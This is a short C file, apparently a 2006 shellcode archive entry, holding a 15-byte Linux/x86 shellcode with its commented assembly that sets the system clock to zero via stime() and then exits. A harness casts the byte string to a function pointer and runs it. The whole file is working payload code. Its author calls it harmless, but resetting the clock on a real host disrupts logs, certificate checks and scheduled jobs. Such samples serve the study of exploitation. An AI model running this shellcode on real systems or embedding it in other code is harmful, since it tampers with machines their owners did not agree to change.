/* By Kris Katterjohn 11/14/2006
 *
 * 15 byte shellcode to set system time to 0 and exit. No real damage :)
 *
 * exit() code is the last 5 bytes (0x6a - 0x80)
 *
 * for Linux/x86
 *
 *
 *
 * section .text
 *
 *  global _start
 *
 * _start:
 *
 * ; stime([0])
 *
 *  push byte 25
 *  pop eax
 *  xor ecx, ecx
 *  push ecx
 *  mov ebx, esp
 *  int 0x80
 *
 * ; exit()
 *  push byte 1
 *  pop eax
 *  int 0x80
 */

main()
{
  char shellcode[] =
    "\x6a\x19\x58\x31\xc9\x51\x89\xe3\xcd\x80\x6a\x01\x58\xcd\x80";

  (*(void (*)()) shellcode)();
}